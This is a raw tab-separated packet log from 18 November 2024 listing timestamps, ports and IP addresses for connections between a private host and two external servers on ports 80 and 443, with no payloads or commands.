Nov 18, 2024 18:21:30.225579977 CET	443	49161	5.45.108.48	192.168.2.22
Nov 18, 2024 18:21:30.225599051 CET	49161	443	192.168.2.22	5.45.108.48
Nov 18, 2024 18:21:30.226711988 CET	49161	443	192.168.2.22	5.45.108.48
Nov 18, 2024 18:21:30.226736069 CET	49161	443	192.168.2.22	5.45.108.48
Nov 18, 2024 18:21:30.226752043 CET	443	49161	5.45.108.48	192.168.2.22
Nov 18, 2024 18:21:30.244226933 CET	49162	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:30.249144077 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:30.249316931 CET	49162	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:30.249327898 CET	49162	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:30.254158974 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:30.915465117 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:30.915544033 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:30.915555000 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:30.915592909 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:30.915606976 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:30.915630102 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:30.915631056 CET	49162	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:30.915643930 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:30.915654898 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:30.915659904 CET	49162	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:30.915674925 CET	49162	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:30.915683985 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:30.915700912 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:30.915709019 CET	49162	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:30.915741920 CET	49162	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:30.920734882 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:30.920806885 CET	49162	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:30.920912027 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:30.920928001 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:30.920973063 CET	49162	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:30.921237946 CET	49162	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:31.032953024 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:31.033025026 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:31.033031940 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:31.033082008 CET	49162	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:31.033272028 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:31.033278942 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:31.033346891 CET	49162	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:31.033361912 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:31.033394098 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:31.033401012 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:31.033401966 CET	49162	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:31.033427000 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:31.033433914 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:31.033447027 CET	49162	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:31.033468008 CET	49162	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:31.034254074 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:31.034356117 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:31.034425974 CET	49162	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:31.158740044 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:31.158751965 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:31.158767939 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:31.158854008 CET	49162	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:31.158859015 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:31.158869982 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:31.158905983 CET	49162	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:31.159220934 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:31.159229040 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:31.159244061 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:31.159250021 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:31.159261942 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:31.159275055 CET	49162	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:31.159286022 CET	49162	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:31.159301043 CET	49162	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:31.160057068 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:31.160106897 CET	49162	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:31.160590887 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:31.164371967 CET	49162	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:31.193877935 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:31.193902969 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:31.194032907 CET	49162	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:31.267564058 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:31.267579079 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:31.267709970 CET	49162	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:31.267721891 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:31.267729998 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:31.267743111 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:31.267755985 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:31.267764091 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:31.267771006 CET	49162	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:31.267808914 CET	49162	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:31.267828941 CET	49162	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:31.268788099 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:31.268800974 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:31.268816948 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:31.268822908 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:31.268865108 CET	49162	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:31.268881083 CET	49162	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:31.269396067 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:31.269402027 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:31.269412994 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:31.269418955 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:31.269444942 CET	49162	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:31.269465923 CET	49162	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:31.310596943 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:31.310691118 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:31.310973883 CET	49162	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:31.376013994 CET	49163	443	192.168.2.22	5.45.108.48
Nov 18, 2024 18:21:31.376046896 CET	443	49163	5.45.108.48	192.168.2.22
Nov 18, 2024 18:21:31.376235962 CET	49163	443	192.168.2.22	5.45.108.48
Nov 18, 2024 18:21:31.384624004 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:31.384644985 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:31.384651899 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:31.384702921 CET	49162	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:31.384718895 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:31.384727955 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:31.384732008 CET	49162	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:31.384768009 CET	49162	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:31.384967089 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:31.384974957 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:31.384990931 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:31.384996891 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:31.385034084 CET	49162	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:31.385060072 CET	49162	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:31.385580063 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:31.385600090 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:31.385607004 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:31.385648966 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:31.385652065 CET	49162	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:31.385656118 CET	80	49162	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:31.385694981 CET	49162	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:31.387419939 CET	49162	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:31.387640953 CET	49162	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:31.395808935 CET	49163	443	192.168.2.22	5.45.108.48
Nov 18, 2024 18:21:31.395827055 CET	443	49163	5.45.108.48	192.168.2.22
Nov 18, 2024 18:21:32.276851892 CET	443	49163	5.45.108.48	192.168.2.22
Nov 18, 2024 18:21:32.276993036 CET	49163	443	192.168.2.22	5.45.108.48
Nov 18, 2024 18:21:32.284301996 CET	49163	443	192.168.2.22	5.45.108.48
Nov 18, 2024 18:21:32.284328938 CET	443	49163	5.45.108.48	192.168.2.22
Nov 18, 2024 18:21:32.284893990 CET	443	49163	5.45.108.48	192.168.2.22
Nov 18, 2024 18:21:32.284992933 CET	49163	443	192.168.2.22	5.45.108.48
Nov 18, 2024 18:21:32.383580923 CET	49163	443	192.168.2.22	5.45.108.48
Nov 18, 2024 18:21:32.431328058 CET	443	49163	5.45.108.48	192.168.2.22
Nov 18, 2024 18:21:32.778671026 CET	443	49163	5.45.108.48	192.168.2.22
Nov 18, 2024 18:21:32.778753042 CET	443	49163	5.45.108.48	192.168.2.22
Nov 18, 2024 18:21:32.778752089 CET	49163	443	192.168.2.22	5.45.108.48
Nov 18, 2024 18:21:32.779100895 CET	49163	443	192.168.2.22	5.45.108.48
Nov 18, 2024 18:21:32.780015945 CET	49163	443	192.168.2.22	5.45.108.48
Nov 18, 2024 18:21:32.780045986 CET	443	49163	5.45.108.48	192.168.2.22
Nov 18, 2024 18:21:32.789527893 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:32.795670986 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:32.795738935 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:32.795922995 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:32.806390047 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.487416983 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.487498045 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.487504959 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:33.487519979 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.487544060 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:33.487564087 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:33.487843037 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.487879038 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.487890959 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:33.487899065 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.487915039 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:33.487941027 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:33.488842964 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.488862991 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.488897085 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.488909960 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:33.488934040 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:33.489988089 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.490031958 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:33.492578030 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.492635012 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:33.492683887 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.492729902 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:33.512582064 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:33.604878902 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.604912996 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.604973078 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:33.605122089 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.605142117 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.605190039 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:33.605614901 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.605726004 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:33.606065035 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.606085062 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.606103897 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.606115103 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:33.606137991 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:33.607181072 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.607220888 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.607237101 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.607244968 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:33.607278109 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:33.607487917 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.607527018 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:33.721729040 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.721870899 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.721884012 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.721904039 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:33.721942902 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:33.722429991 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.722484112 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:33.722680092 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.722757101 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:33.723087072 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.723093033 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.723109007 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.723140955 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:33.723156929 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:33.723788023 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.723798990 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.723830938 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:33.724219084 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.724225998 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.724236965 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.724268913 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:33.725131989 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.725138903 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.725183964 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:33.864638090 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.864722013 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:33.864759922 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.864799023 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.864809036 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:33.864896059 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:33.865326881 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.865345955 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.865365028 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.865401983 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:33.865438938 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:33.866288900 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.866307974 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.866326094 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.866353989 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:33.866385937 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:33.867177010 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.867196083 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.867213964 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.867223024 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:33.867232084 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.867255926 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:33.867285967 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:33.868072987 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.868092060 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.868138075 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:33.978095055 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.978189945 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:33.978240967 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.978264093 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.978293896 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:33.978313923 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:33.978697062 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.978717089 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.978774071 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:33.979010105 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.979053974 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.979058981 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:33.979079008 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.979114056 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.979125977 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:33.979150057 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:33.979988098 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.980036020 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:33.980077028 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.980142117 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:33.980365038 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.980384111 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.980418921 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.980432987 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:33.980505943 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:33.981002092 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.981021881 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.981039047 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:33.981084108 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:33.981084108 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:34.094922066 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:34.094994068 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:34.095027924 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:34.095053911 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:34.095078945 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:34.095089912 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:34.095403910 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:34.095423937 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:34.095464945 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:34.095480919 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:34.095505953 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:34.096259117 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:34.096308947 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:34.096330881 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:34.096370935 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:34.096580029 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:34.096637011 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:34.096640110 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:34.096682072 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:34.096734047 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:34.097346067 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:34.097357035 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:34.097363949 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:34.097393036 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:34.097404003 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:34.098239899 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:34.098248959 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:34.098294020 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:34.208280087 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:34.208287954 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:34.208394051 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:34.212852001 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:34.212920904 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:34.212969065 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:34.212975979 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:34.213031054 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:34.213422060 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:34.213428020 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:34.213485956 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:34.213886023 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:34.213900089 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:34.213943005 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:34.214349031 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:34.214354992 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:34.214365005 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:34.214406967 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:34.215044975 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:34.215050936 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:34.215058088 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:34.215064049 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:34.215100050 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:34.215121984 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:34.215878963 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:34.215934038 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:34.269481897 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:34.269622087 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:34.269629002 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:34.269732952 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:34.269732952 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:34.329190016 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:34.329309940 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:34.329317093 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:34.329349995 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:34.329422951 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:34.329715014 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:34.329721928 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:34.329777956 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:34.330087900 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:34.330104113 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:34.330111980 CET	80	49164	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:34.330163002 CET	49164	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:34.330163002 CET	49164	80	192.168.2.22	107.172.44.178
